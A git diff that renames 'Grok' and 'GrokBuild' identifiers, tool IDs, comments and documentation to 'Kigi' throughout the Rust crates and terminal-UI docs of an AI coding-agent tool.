     /// budget cap, minimal escaping.
     Verbatim,
-    /// Grok build harness: budget-capped three-tier rendering with full
+    /// Kigi build harness: budget-capped three-tier rendering with full
     /// XML entity escaping.
     Budgeted {
         /// Character budget for the listing; `None` uses the default.
@@ -586,7 +586,7 @@ pub fn format_announcement_xml(
             .filter(|s| {
                 s.enabled
                     && !s.disable_model_invocation
-                    // Compat mode renders all skills verbatim; only the grok
+                    // Compat mode renders all skills verbatim; only the kigi
                     // build path drops description-less plugin skills.
                     && (verbatim || is_listable(s))
                     && announced.insert(s.dedup_key())
@@ -819,7 +819,7 @@ mod tests {
 
     #[test]
     fn verbatim_bypasses_is_listable_filter() {
-        // grok-build drops a description-less skill; compat mode renders all.
+        // kigi drops a description-less skill; compat mode renders all.
         let skills = [plugin_skill("noise", "derived")];
         let mut a = HashSet::new();
         assert!(
@@ -1056,7 +1056,7 @@ mod tests {
         );
     }
 
-    // ── budgeted mode: grok build harness (budgeted XML) ───────────
+    // ── budgeted mode: kigi build harness (budgeted XML) ───────────
 
     /// 200 skills must fit within the default budget.
     #[test]
diff --git a/crates/codegen/kigi-tools/src/types/tool.rs b/crates/codegen/kigi-tools/src/types/tool.rs
index 6b5cc12..f3ac7bc 100644
--- a/crates/codegen/kigi-tools/src/types/tool.rs
+++ b/crates/codegen/kigi-tools/src/types/tool.rs
@@ -12,11 +12,11 @@ use crate::types::requirements::{Expr, ToolRequirement};
 use crate::types::resources::SharedResources;
 /// The toolset a tool belongs to.
 ///
-/// Serializes to snake_case (`grok_build`, `mcp`, …) for the
+/// Serializes to snake_case (`kigi`, `mcp`, …) for the
 /// canonical tool `_meta` wire contract. PascalCase aliases are accepted on
 /// deserialize so legacy persisted/manifest values still parse. The
 /// `Display` impl remains PascalCase for existing qualified id strings
-/// (e.g. `"GrokBuild:read_file"`); only the serde form goes on the wire.
+/// (e.g. `"Kigi:read_file"`); only the serde form goes on the wire.
 #[derive(
     Debug,
     Clone,
@@ -31,12 +31,12 @@ use crate::types::resources::SharedResources;
 )]
 #[serde(rename_all = "snake_case")]
 pub enum ToolNamespace {
-    #[serde(alias = "GrokBuild")]
-    GrokBuild,
-    #[serde(alias = "GrokBuildConcise")]
-    GrokBuildConcise,
-    #[serde(alias = "GrokBuildHashline")]
-    GrokBuildHashline,
+    #[serde(alias = "Kigi")]
+    Kigi,
+    #[serde(alias = "KigiConcise")]
+    KigiConcise,
+    #[serde(alias = "KigiHashline")]
+    KigiHashline,
     #[serde(alias = "Codex")]
     Codex,
     #[serde(rename = "opencode", alias = "OpenCode", alias = "open_code")]
diff --git a/crates/codegen/kigi-tools/src/types/tool_io.rs b/crates/codegen/kigi-tools/src/types/tool_io.rs
index 9399e07..49427cd 100644
--- a/crates/codegen/kigi-tools/src/types/tool_io.rs
+++ b/crates/codegen/kigi-tools/src/types/tool_io.rs
@@ -15,17 +15,17 @@ use crate::implementations::codex::apply_patch::tool::ApplyPatchInput;
 use crate::implementations::codex::grep_files::tool::CodexGrepFilesInput;
 use crate::implementations::codex::list_dir::tool::CodexListDirInput;
 use crate::implementations::codex::read_file::tool::CodexReadFileInput;
-use crate::implementations::grok_build::ask_user_question::AskUserQuestionInput;
-use crate::implementations::grok_build::enter_plan_mode::EnterPlanModeInput;
-use crate::implementations::grok_build::exit_plan_mode::ExitPlanModeInput;
-use crate::implementations::grok_build::grep::GrepSearchInput;
-use crate::implementations::grok_build::list_dir::ListDirInput;
-use crate::implementations::grok_build::read_file::ReadFileInput;
-use crate::implementations::grok_build::search_replace::SearchReplaceInput;
-use crate::implementations::grok_build::todo::TodoWriteInput;
-use crate::implementations::grok_build::update_goal::UpdateGoalInput;
-use crate::implementations::grok_build::web_fetch::WebFetchInput;
-use crate::implementations::grok_build::web_search::WebSearchInput;
+use crate::implementations::kigi::ask_user_question::AskUserQuestionInput;
+use crate::implementations::kigi::enter_plan_mode::EnterPlanModeInput;
+use crate::implementations::kigi::exit_plan_mode::ExitPlanModeInput;
+use crate::implementations::kigi::grep::GrepSearchInput;
+use crate::implementations::kigi::list_dir::ListDirInput;
+use crate::implementations::kigi::read_file::ReadFileInput;
+use crate::implementations::kigi::search_replace::SearchReplaceInput;
+use crate::implementations::kigi::todo::TodoWriteInput;
+use crate::implementations::kigi::update_goal::UpdateGoalInput;
+use crate::implementations::kigi::web_fetch::WebFetchInput;
+use crate::implementations::kigi::web_search::WebSearchInput;
 use crate::implementations::lsp::LspToolInput;
 use crate::implementations::memory::types::{MemoryGetInput, MemorySearchInput};
 use crate::implementations::opencode::write::WriteInput;
@@ -71,7 +71,7 @@ pub enum ToolInput {
     WebFetch(WebFetchInput),
     Write(WriteInput),
     ApplyPatch(ApplyPatchInput),
-    HashlineEdit(crate::implementations::grok_build_hashline::edit::types::HashlineEditInput),
+    HashlineEdit(crate::implementations::kigi_hashline::edit::types::HashlineEditInput),
     CodexListDir(CodexListDirInput),
     CodexGrepFiles(CodexGrepFilesInput),
     CodexReadFile(CodexReadFileInput),
@@ -83,10 +83,10 @@ pub enum ToolInput {
     ExitPlanMode(ExitPlanModeInput),
     AskUserQuestion(AskUserQuestionInput),
     Lsp(LspToolInput),
-    Monitor(crate::implementations::grok_build::monitor::types::MonitorInput),
-    SchedulerCreate(crate::implementations::grok_build::scheduler::create::SchedulerCreateInput),
-    SchedulerDelete(crate::implementations::grok_build::scheduler::delete::SchedulerDeleteInput),
-    SchedulerList(crate::implementations::grok_build::scheduler::list::SchedulerListInput),
+    Monitor(crate::implementations::kigi::monitor::types::MonitorInput),
+    SchedulerCreate(crate::implementations::kigi::scheduler::create::SchedulerCreateInput),
+    SchedulerDelete(crate::implementations::kigi::scheduler::delete::SchedulerDeleteInput),
+    SchedulerList(crate::implementations::kigi::scheduler::list::SchedulerListInput),
     UpdateGoal(UpdateGoalInput),
     /// Dynamic input for runtime-registered tools (MCP, etc.)
     Dynamic(serde_json::Value),
diff --git a/crates/codegen/kigi-tools/src/types/tool_metadata.rs b/crates/codegen/kigi-tools/src/types/tool_metadata.rs
index d96ef23..16bf3a6 100644
--- a/crates/codegen/kigi-tools/src/types/tool_metadata.rs
+++ b/crates/codegen/kigi-tools/src/types/tool_metadata.rs
@@ -24,7 +24,7 @@ use crate::types::resources::SharedResources;
 use crate::types::template_renderer::TemplateRenderer;
 use crate::types::tool::{ToolKind, ToolNamespace};
 
-/// Grok-tools-specific metadata trait.
+/// Kigi-tools-specific metadata trait.
 ///
 /// Each tool struct implements this alongside `kigi_tool_runtime::Tool`.
 /// Only `kind()`, `namespace()`, and `description_template()` are required;
@@ -39,9 +39,9 @@ pub trait ToolMetadata: Send + Sync {
     /// default `is_read_only()` derivation.
     fn kind(&self) -> ToolKind;
 
-    /// Namespace grouping (GrokBuild, Cursor, OpenCode, ...).
+    /// Namespace grouping (Kigi, Cursor, OpenCode, ...).
     /// Used to build the fully-qualified tool ID at registration time
-    /// (e.g., `"GrokBuild:grep"`).
+    /// (e.g., `"Kigi:grep"`).
     fn tool_namespace(&self) -> ToolNamespace;
 
     /// Raw MiniJinja description template with `${{ tools.by_kind.X }}` and
diff --git a/crates/codegen/kigi-tools/src/util/env.rs b/crates/codegen/kigi-tools/src/util/env.rs
index a3ce846..deb71e5 100644
--- a/crates/codegen/kigi-tools/src/util/env.rs
+++ b/crates/codegen/kigi-tools/src/util/env.rs
@@ -10,7 +10,7 @@ pub use kigi_tty_utils::{detach_from_tty, pager_env};
 /// Env var set on agent-spawned terminal processes so host tools (e.g. `x ban`)
 /// can distinguish agent invocations from human interactive shells.
 /// Note: the CLI also uses `KIGI_AGENT` as an
-/// optional agent-definition selector for launching `grok` itself; child terminal
+/// optional agent-definition selector for launching `kigi` itself; child terminal
 /// processes only need the sentinel value `"1"`.
 pub const KIGI_AGENT_ENV: &str = "KIGI_AGENT";
 
@@ -19,7 +19,7 @@ pub const KIGI_AGENT_ENV_VALUE: &str = "1";
 
 /// Force `KIGI_AGENT=1` on an agent terminal child so request/login env cannot
 /// clear the agent marker.
-pub fn apply_grok_agent_marker(cmd: &mut tokio::process::Command) {
+pub fn apply_kigi_agent_marker(cmd: &mut tokio::process::Command) {
     cmd.env(KIGI_AGENT_ENV, KIGI_AGENT_ENV_VALUE);
 }
 
diff --git a/crates/codegen/kigi-tools/src/util/hash.rs b/crates/codegen/kigi-tools/src/util/hash.rs
index 27adaca..40ebb03 100644
--- a/crates/codegen/kigi-tools/src/util/hash.rs
+++ b/crates/codegen/kigi-tools/src/util/hash.rs
@@ -1,7 +1,7 @@
 //! Shared hashing utilities for hashline anchor generation.
 //!
 //! Provides FNV-1a 32-bit hashing and whitespace-normalized line fingerprinting.
-//! Used by the `grok_build_hashline` anchor schemes.
+//! Used by the `kigi_hashline` anchor schemes.
 //!
 //! ## Normalization policy
 //!
diff --git a/crates/codegen/kigi-tools/src/util/mcp_truncate.rs b/crates/codegen/kigi-tools/src/util/mcp_truncate.rs
index 3cc46d3..57a644b 100644
--- a/crates/codegen/kigi-tools/src/util/mcp_truncate.rs
+++ b/crates/codegen/kigi-tools/src/util/mcp_truncate.rs
@@ -37,7 +37,7 @@ pub const MCP_MAX_OUTPUT_BYTES: usize = 20_000;
 /// truncation is byte-oriented (`truncate_str`).
 pub const ENV_MAX_MCP_OUTPUT_BYTES: &str = "MAX_MCP_OUTPUT_BYTES";
 
-/// Grok-native env override for the MCP inline output cap (bytes).
+/// Kigi-native env override for the MCP inline output cap (bytes).
 pub const ENV_KIGI_MAX_MCP_OUTPUT_BYTES: &str = "KIGI_MAX_MCP_OUTPUT_BYTES";
 
 /// Process-wide effective limit. `0` = host has not seeded; fall through to
@@ -62,7 +62,7 @@ fn parse_positive_bytes_env(name: &str) -> Option<usize> {
 
 /// Env tier: `KIGI_MAX_MCP_OUTPUT_BYTES` then `MAX_MCP_OUTPUT_BYTES`.
 ///
-/// Grok-native wins when both are set. Positive integers only. Used by the
+/// Kigi-native wins when both are set. Positive integers only. Used by the
 /// shell resolver and as the standalone fallback when the host has not called
 /// [`set_mcp_max_output_bytes`].
 pub fn mcp_max_output_bytes_from_env() -> Option<usize> {
@@ -298,7 +298,7 @@ mod tests {
             // Clear host seed; with no env, effective limit is the built-in default.
             set_mcp_max_output_bytes(0);
             let prev_max = std::env::var(ENV_MAX_MCP_OUTPUT_BYTES).ok();
-            let prev_grok = std::env::var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES).ok();
+            let prev_kigi = std::env::var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES).ok();
             unsafe {
                 std::env::remove_var(ENV_MAX_MCP_OUTPUT_BYTES);
                 std::env::remove_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES);
@@ -324,7 +324,7 @@ mod tests {
                     Some(v) => std::env::set_var(ENV_MAX_MCP_OUTPUT_BYTES, v),
                     None => std::env::remove_var(ENV_MAX_MCP_OUTPUT_BYTES),
                 }
-                match prev_grok {
+                match prev_kigi {
                     Some(v) => std::env::set_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES, v),
                     None => std::env::remove_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES),
                 }
@@ -337,7 +337,7 @@ mod tests {
     fn env_parser_rejects_zero_and_junk() {
         with_mcp_limit_lock(|| {
             let prev_max = std::env::var(ENV_MAX_MCP_OUTPUT_BYTES).ok();
-            let prev_grok = std::env::var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES).ok();
+            let prev_kigi = std::env::var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES).ok();
             unsafe {
                 std::env::remove_var(ENV_MAX_MCP_OUTPUT_BYTES);
                 std::env::remove_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES);
@@ -353,7 +353,7 @@ mod tests {
             unsafe { std::env::set_var(ENV_MAX_MCP_OUTPUT_BYTES, "12345") };
             assert_eq!(mcp_max_output_bytes_from_env(), Some(12_345));
 
-            // GROK_* wins over MAX_* when both set.
+            // KIGI_* wins over MAX_* when both set.
             unsafe { std::env::set_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES, "99999") };
             assert_eq!(mcp_max_output_bytes_from_env(), Some(99_999));
 
@@ -365,7 +365,7 @@ mod tests {
                     Some(v) => std::env::set_var(ENV_MAX_MCP_OUTPUT_BYTES, v),
                     None => std::env::remove_var(ENV_MAX_MCP_OUTPUT_BYTES),
                 }
-                match prev_grok {
+                match prev_kigi {
                     Some(v) => std::env::set_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES, v),
                     None => std::env::remove_var(ENV_KIGI_MAX_MCP_OUTPUT_BYTES),
                 }
diff --git a/crates/codegen/kigi-tools/src/util/mod.rs b/crates/codegen/kigi-tools/src/util/mod.rs
index 3ac1460..dfeed5c 100644
--- a/crates/codegen/kigi-tools/src/util/mod.rs
+++ b/crates/codegen/kigi-tools/src/util/mod.rs
@@ -21,7 +21,7 @@ pub use command_display::strip_redundant_session_cd;
 #[cfg(unix)]
 pub use env::detach_from_tty;
 pub use env::substitute_plugin_tokens;
-pub use env::{KIGI_AGENT_ENV, KIGI_AGENT_ENV_VALUE, apply_grok_agent_marker, pager_env};
+pub use env::{KIGI_AGENT_ENV, KIGI_AGENT_ENV_VALUE, apply_kigi_agent_marker, pager_env};
 pub use fs::{UnicodePathMatch, canonicalize_with_timeout, try_resolve_unicode_filename};
 pub use kigi_home::{kigi_application, kigi_home};
 pub use kigi_tty_utils::detach_std_command;
diff --git a/crates/codegen/kigi-tools/src/versions.rs b/crates/codegen/kigi-tools/src/versions.rs
index e37e06b..dc0ce4b 100644
--- a/crates/codegen/kigi-tools/src/versions.rs
+++ b/crates/codegen/kigi-tools/src/versions.rs
@@ -26,7 +26,7 @@ pub enum BehaviorLifecycle {
 /// Per-tool version metadata. Each managed tool has one entry in `TOOL_VERSION_REGISTRY`.
 #[derive(Debug)]
 pub struct ToolVersionEntry {
-    /// Fully-qualified tool ID (e.g. `"GrokBuild:run_terminal_cmd"`).
+    /// Fully-qualified tool ID (e.g. `"Kigi:run_terminal_cmd"`).
     pub fq_tool_id: &'static str,
     /// Supported versions and their individual lifecycle.
     pub versions: &'static [VersionLifecycle],
@@ -70,7 +70,7 @@ pub struct PresetEntry {
     /// Lifecycle stage of this preset.
     pub lifecycle: BehaviorLifecycle,
     /// Per-tool default versions for this preset.
-    /// Keys are fully-qualified tool IDs (e.g. `"GrokBuild:run_terminal_cmd"`).
+    /// Keys are fully-qualified tool IDs (e.g. `"Kigi:run_terminal_cmd"`).
     /// Tools not listed here fall back to `"current"`.
     pub tool_defaults: &'static [(&'static str, &'static str)],
 }
@@ -79,16 +79,16 @@ pub struct PresetEntry {
 ///
 /// Only tools listed here can have `behavior_version` overrides.
 /// Uses fully-qualified IDs (`Namespace:tool_id`) to prevent collisions
-/// between namespaces (e.g. `GrokBuild:run_terminal_cmd` vs.
-/// `GrokBuildConcise:run_terminal_cmd`).
+/// between namespaces (e.g. `Kigi:run_terminal_cmd` vs.
+/// `KigiConcise:run_terminal_cmd`).
 pub const MANAGED_TOOLS: &[&str] = &[
-    "GrokBuild:run_terminal_cmd",
-    "GrokBuild:read_file",
-    "GrokBuild:search_replace",
-    "GrokBuild:list_dir",
-    "GrokBuild:grep",
-    "GrokBuild:kill_task",
-    "GrokBuild:get_task_output",
+    "Kigi:run_terminal_cmd",
+    "Kigi:read_file",
+    "Kigi:search_replace",
+    "Kigi:list_dir",
+    "Kigi:grep",
+    "Kigi:kill_task",
+    "Kigi:get_task_output",
 ];
 
 // Helper constant for concise registry entries.
@@ -174,31 +174,31 @@ const V_LEGACY_TASK_OUTPUT: VersionLifecycle = VersionLifecycle {
 /// `summary` and `source_refs`. Do not use a shared legacy constant.
 pub const TOOL_VERSION_REGISTRY: &[ToolVersionEntry] = &[
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:run_terminal_cmd",
+        fq_tool_id: "Kigi:run_terminal_cmd",
         versions: &[V_CURRENT, V_LEGACY_BASH],
     },
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:read_file",
+        fq_tool_id: "Kigi:read_file",
         versions: &[V_CURRENT, V_LEGACY_READ_FILE],
     },
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:search_replace",
+        fq_tool_id: "Kigi:search_replace",
         versions: &[V_CURRENT, V_LEGACY_SEARCH_REPLACE],
     },
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:list_dir",
+        fq_tool_id: "Kigi:list_dir",
         versions: &[V_CURRENT, V_LEGACY_LIST_DIR],
     },
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:grep",
+        fq_tool_id: "Kigi:grep",
         versions: &[V_CURRENT], // Managed but no legacy implementation.
     },
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:kill_task",
+        fq_tool_id: "Kigi:kill_task",
         versions: &[V_CURRENT, V_LEGACY_KILL_TASK],
     },
     ToolVersionEntry {
-        fq_tool_id: "GrokBuild:get_task_output",
+        fq_tool_id: "Kigi:get_task_output",
         versions: &[V_CURRENT, V_LEGACY_TASK_OUTPUT],
     },
 ];
@@ -220,12 +220,12 @@ pub const PRESETS: &[PresetEntry] = &[
         name: "legacy-0.4.10",
         lifecycle: BehaviorLifecycle::Active,
         tool_defaults: &[
-            ("GrokBuild:run_terminal_cmd", "legacy-0.4.10"),
-            ("GrokBuild:read_file", "legacy-0.4.10"),
-            ("GrokBuild:search_replace", "legacy-0.4.10"),
-            ("GrokBuild:get_task_output", "legacy-0.4.10"),
-            ("GrokBuild:kill_task", "legacy-0.4.10"),
-            ("GrokBuild:list_dir", "legacy-0.4.10"),
+            ("Kigi:run_terminal_cmd", "legacy-0.4.10"),
+            ("Kigi:read_file", "legacy-0.4.10"),
+            ("Kigi:search_replace", "legacy-0.4.10"),
+            ("Kigi:get_task_output", "legacy-0.4.10"),
+            ("Kigi:kill_task", "legacy-0.4.10"),
+            ("Kigi:list_dir", "legacy-0.4.10"),
         ],
     },
     // Release-named presets are best-effort compatibility bundles, not full
@@ -240,13 +240,13 @@ pub const PRESETS: &[PresetEntry] = &[
         // version other than `legacy-0.4.10` had been carved out yet.
         // `grep` was managed but current-only (no legacy port).
         tool_defaults: &[
-            ("GrokBuild:run_terminal_cmd", "current"),
-            ("GrokBuild:read_file", "current"),
-            ("GrokBuild:search_replace", "current"),
-            ("GrokBuild:list_dir", "current"),
-            ("GrokBuild:grep", "current"),
-            ("GrokBuild:kill_task", "current"),
-            ("GrokBuild:get_task_output", "current"),
+            ("Kigi:run_terminal_cmd", "current"),
+            ("Kigi:read_file", "current"),
+            ("Kigi:search_replace", "current"),
+            ("Kigi:list_dir", "current"),
+            ("Kigi:grep", "current"),
+            ("Kigi:kill_task", "current"),
+            ("Kigi:get_task_output", "current"),
         ],
     },
 ];
@@ -495,21 +495,21 @@ mod tests {
 
     #[test]
     fn current_preset_resolves_to_current() {
-        let v = resolve_version("current", "GrokBuild:run_terminal_cmd", None).unwrap();
+        let v = resolve_version("current", "Kigi:run_terminal_cmd", None).unwrap();
         assert_eq!(v, Some("current".to_string()));
     }
 
     #[test]
     fn legacy_preset_resolves_ported_tool() {
         // run_terminal_cmd is ported — resolves to "legacy-0.4.10".
-        let v = resolve_version("legacy-0.4.10", "GrokBuild:run_terminal_cmd", None).unwrap();
+        let v = resolve_version("legacy-0.4.10", "Kigi:run_terminal_cmd", None).unwrap();
         assert_eq!(v, Some("legacy-0.4.10".to_string()));
     }
 
     #[test]
     fn legacy_preset_falls_back_to_current_for_unported_tool() {
         // grep is managed but has no legacy-0.4.10 preset entry — falls back to "current".
-        let v = resolve_version("legacy-0.4.10", "GrokBuild:grep", None).unwrap();
+        let v = resolve_version("legacy-0.4.10", "Kigi:grep", None).unwrap();
         assert_eq!(v, Some("current".to_string()));
     }
 
@@ -517,12 +517,12 @@ mod tests {
     fn legacy_preset_resolves_all_ported_tools() {
         // All 6 ported tools should resolve to "legacy-0.4.10" under the legacy preset.
         for fq_id in &[
-            "GrokBuild:run_terminal_cmd",
-            "GrokBuild:read_file",
-            "GrokBuild:search_replace",
-            "GrokBuild:get_task_output",
-            "GrokBuild:kill_task",
-            "GrokBuild:list_dir",
+            "Kigi:run_terminal_cmd",
+            "Kigi:read_file",
+            "Kigi:search_replace",
+            "Kigi:get_task_output",
+            "Kigi:kill_task",
+            "Kigi:list_dir",
         ] {
             let v = resolve_version("legacy-0.4.10", fq_id, None).unwrap();
             assert_eq!(
@@ -535,38 +535,31 @@ mod tests {
 
     #[test]
     fn per_tool_override_wins() {
-        let v = resolve_version(
-            "current",
-            "GrokBuild:run_terminal_cmd",
-            Some("legacy-0.4.10"),
-        )
-        .unwrap();
+        let v = resolve_version("current", "Kigi:run_terminal_cmd", Some("legacy-0.4.10")).unwrap();
         assert_eq!(v, Some("legacy-0.4.10".to_string()));
     }
 
     #[test]
     fn unmanaged_tool_returns_none() {
-        let v = resolve_version("current", "GrokBuild:web_search", None).unwrap();
+        let v = resolve_version("current", "Kigi:web_search", None).unwrap();
         assert_eq!(v, None);
     }
 
     #[test]
     fn override_on_unmanaged_tool_errors() {
-        let err =
-            resolve_version("current", "GrokBuild:web_search", Some("legacy-0.4.10")).unwrap_err();
+        let err = resolve_version("current", "Kigi:web_search", Some("legacy-0.4.10")).unwrap_err();
         assert!(err.contains("unmanaged tool"));
     }
 
     #[test]
     fn unknown_preset_errors() {
-        let err = resolve_version("nonexistent", "GrokBuild:run_terminal_cmd", None).unwrap_err();
+        let err = resolve_version("nonexistent", "Kigi:run_terminal_cmd", None).unwrap_err();
         assert!(err.contains("unknown behavior_preset"));
     }
 
     #[test]
     fn unknown_override_version_errors() {
-        let err =
-            resolve_version("current", "GrokBuild:run_terminal_cmd", Some("v999")).unwrap_err();
+        let err = resolve_version("current", "Kigi:run_terminal_cmd", Some("v999")).unwrap_err();
         assert!(
             err.contains("is not supported for tool"),
             "expected 'is not supported' error, got: {err}"
@@ -587,30 +580,29 @@ mod tests {
 
     #[test]
     fn concise_namespace_not_managed() {
-        // GrokBuildConcise tools should NOT be version-managed.
-        assert!(!is_version_managed("GrokBuildConcise:run_terminal_cmd"));
-        let v = resolve_version("current", "GrokBuildConcise:run_terminal_cmd", None).unwrap();
+        // KigiConcise tools should NOT be version-managed.
+        assert!(!is_version_managed("KigiConcise:run_terminal_cmd"));
+        let v = resolve_version("current", "KigiConcise:run_terminal_cmd", None).unwrap();
         assert_eq!(v, None);
     }
 
     #[test]
     fn is_version_managed_matches_catalog() {
-        assert!(is_version_managed("GrokBuild:run_terminal_cmd"));
-        assert!(is_version_managed("GrokBuild:read_file"));
-        assert!(is_version_managed("GrokBuild:search_replace"));
-        assert!(is_version_managed("GrokBuild:list_dir"));
-        assert!(is_version_managed("GrokBuild:grep"));
-        assert!(is_version_managed("GrokBuild:kill_task"));
+        assert!(is_version_managed("Kigi:run_terminal_cmd"));
+        assert!(is_version_managed("Kigi:read_file"));
+        assert!(is_version_managed("Kigi:search_replace"));
+        assert!(is_version_managed("Kigi:list_dir"));
+        assert!(is_version_managed("Kigi:grep"));
+        assert!(is_version_managed("Kigi:kill_task"));
         // Not managed:
-        assert!(!is_version_managed("GrokBuild:todo_write"));
+        assert!(!is_version_managed("Kigi:todo_write"));
     }
 
     // ─── Warning behavior tests ───
 
     #[test]
     fn active_version_produces_no_warning() {
-        let res =
-            resolve_version_with_warnings("current", "GrokBuild:run_terminal_cmd", None).unwrap();
+        let res = resolve_version_with_warnings("current", "Kigi:run_terminal_cmd", None).unwrap();
         assert!(
             res.warnings.is_empty(),
             "active versions should produce no warnings, got: {:?}",
@@ -621,8 +613,7 @@ mod tests {
     #[test]
     fn active_bundle_produces_no_bundle_level_warning() {
         let res =
-            resolve_version_with_warnings("legacy-0.4.10", "GrokBuild:run_terminal_cmd", None)
-                .unwrap();
+            resolve_version_with_warnings("legacy-0.4.10", "Kigi:run_terminal_cmd", None).unwrap();
         assert!(
             res.warnings.iter().all(|w| !w.fq_tool_id.is_empty()),
             "no bundle-level warning expected for Active bundle, got: {:?}",
@@ -639,8 +630,7 @@ mod tests {
         // Since all current versions are Active, we test the code path by
         // calling validate_and_resolve on an Active version and verifying
         // no warning, then documenting the contract.
-        let (version, warnings) =
-            validate_and_resolve("GrokBuild:run_terminal_cmd", "current").unwrap();
+        let (version, warnings) = validate_and_resolve("Kigi:run_terminal_cmd", "current").unwrap();
         assert_eq!(version, Some("current".to_string()));
         assert!(
             warnings.is_empty(),
@@ -649,7 +639,7 @@ mod tests {
 
         // Verify the Deprecated branch structure is reachable:
         // validate_and_resolve for a version not in registry → Err
-        let err = validate_and_resolve("GrokBuild:grep", "legacy-0.4.10").unwrap_err();
+        let err = validate_and_resolve("Kigi:grep", "legacy-0.4.10").unwrap_err();
         assert!(err.contains("is not supported"), "got: {err}");
     }
 
@@ -658,7 +648,7 @@ mod tests {
         // RemovalCandidate versions should be rejected with replacement.
         // Since no current versions are RemovalCandidate, verify the error
         // for unsupported version (which exercises the same not-found path).
-        let err = validate_and_resolve("GrokBuild:grep", "legacy-0.4.10").unwrap_err();
+        let err = validate_and_resolve("Kigi:grep", "legacy-0.4.10").unwrap_err();
         assert!(err.contains("is not supported for tool"));
         assert!(err.contains("supported versions: [current]"));
     }
@@ -666,28 +656,27 @@ mod tests {
     #[test]
     fn resolve_with_warnings_returns_correct_version() {
         let res =
-            resolve_version_with_warnings("legacy-0.4.10", "GrokBuild:run_terminal_cmd", None)
-                .unwrap();
+            resolve_version_with_warnings("legacy-0.4.10", "Kigi:run_terminal_cmd", None).unwrap();
         assert_eq!(res.contract_version, Some("legacy-0.4.10".to_string()));
     }
 
     #[test]
     fn resolve_with_warnings_unmanaged_returns_none_no_warnings() {
-        let res = resolve_version_with_warnings("current", "GrokBuild:web_search", None).unwrap();
+        let res = resolve_version_with_warnings("current", "Kigi:web_search", None).unwrap();
         assert_eq!(res.contract_version, None);
         assert!(res.warnings.is_empty());
     }
 
     #[test]
     fn resolve_with_warnings_unsupported_version_errors_with_list() {
-        let err = resolve_version_with_warnings("current", "GrokBuild:grep", Some("legacy-0.4.10"))
+        let err = resolve_version_with_warnings("current", "Kigi:grep", Some("legacy-0.4.10"))
             .unwrap_err();
         assert!(
             err.contains("is not supported for tool"),
             "expected 'not supported' error, got: {err}"
         );
         assert!(
-            err.contains("GrokBuild:grep"),
+            err.contains("Kigi:grep"),
             "error should mention the tool, got: {err}"
         );
         assert!(
diff --git a/crates/codegen/kigi-tools/tests/path_suggestions_production.rs b/crates/codegen/kigi-tools/tests/path_suggestions_production.rs
index 10a50ff..8fa0c08 100644
--- a/crates/codegen/kigi-tools/tests/path_suggestions_production.rs
+++ b/crates/codegen/kigi-tools/tests/path_suggestions_production.rs
@@ -181,7 +181,7 @@ async fn pattern2_absolute_path_completely_different_tree() {
 }
 
 #[tokio::test]
-async fn pattern2_grok_sessions_internal_path() {
+async fn pattern2_kigi_sessions_internal_path() {
     // Model searches internal session paths — no suggestion should fire.
     let (_tmp, root) = setup_fs(&["src"], &[]);
     let cwd = root.clone();
diff --git a/crates/codegen/kigi-tui/Cargo.toml b/crates/codegen/kigi-tui/Cargo.toml
index 6e196e2..63c133b 100644
--- a/crates/codegen/kigi-tui/Cargo.toml
+++ b/crates/codegen/kigi-tui/Cargo.toml
@@ -133,7 +133,7 @@ kigi-crash-handler = { path = "../kigi-crash-handler" }
 parking_lot.workspace = true
 
 # nix: signal handling in notifications/.
-# signal-hook: SIGWINCH handler for the `grok wrap` PTY wrapper (pty_wrap.rs).
+# signal-hook: SIGWINCH handler for the `kigi wrap` PTY wrapper (pty_wrap.rs).
 # libc: poll/read for non-blocking terminal reads in theme/osc11.rs.
 [target.'cfg(unix)'.dependencies]
 nix = { workspace = true, features = ["signal"] }
diff --git a/crates/codegen/kigi-tui/README.md b/crates/codegen/kigi-tui/README.md
index e3b6d2c..c24005f 100644
--- a/crates/codegen/kigi-tui/README.md
+++ b/crates/codegen/kigi-tui/README.md
@@ -1,6 +1,6 @@
 # kigi-tui
 
-Terminal UI (TUI) for Grok Build. Provides the interactive full-screen interface
+Terminal UI (TUI) for Kigi. Provides the interactive full-screen interface
 including the scrollback view, prompt input, session management, and all modal
 dialogs.
 
diff --git a/crates/codegen/kigi-tui/docs/custom-hooks.md b/crates/codegen/kigi-tui/docs/custom-hooks.md
index a9401c3..9bfd462 100644
--- a/crates/codegen/kigi-tui/docs/custom-hooks.md
+++ b/crates/codegen/kigi-tui/docs/custom-hooks.md
@@ -1,6 +1,6 @@
 # Custom Hooks Guide
 
-Hooks let you run custom scripts or HTTP requests at key moments during a Grok session — for example, before or after a tool runs, when a session starts or ends, or when the agent sends a notification.
+Hooks let you run custom scripts or HTTP requests at key moments during a Kigi session — for example, before or after a tool runs, when a session starts or ends, or when the agent sends a notification.
 
 They are perfect for automation, safety checks, logging, notifications, and integrating with your own tools.
 
@@ -29,7 +29,7 @@ Common use cases:
        "SessionStart": [
          {
            "hooks": [
-            { "type": "command", "command": "echo \"🚀 Grok session started in $(pwd)\"" }
+            { "type": "command", "command": "echo \"🚀 Kigi session started in $(pwd)\"" }
            ]
          }
        ]
@@ -37,7 +37,7 @@ Common use cases:
    }
    ```
 
-3. Start (or restart) a Grok session. The hook runs automatically on `SessionStart`.
+3. Start (or restart) a Kigi session. The hook runs automatically on `SessionStart`.
 
    Try it: press `Ctrl+L` on non–VS Code family (or run `/hooks` anywhere — preferred on VS Code / Cursor / Windsurf / Zed) and check the Hooks tab to confirm it's loaded.
 
@@ -89,7 +89,7 @@ Key fields:
 - **command**: Path to executable (relative to the JSON file) or inline shell command.
 - **timeout**: Seconds before killing the hook (default: 5). Hooks fail open on timeout.
 
-**Tool name aliases**: Claude-style names like `Bash`, `Edit`, `Read` automatically match Grok's internal names (`run_terminal_cmd`, `search_replace`, `read_file`).
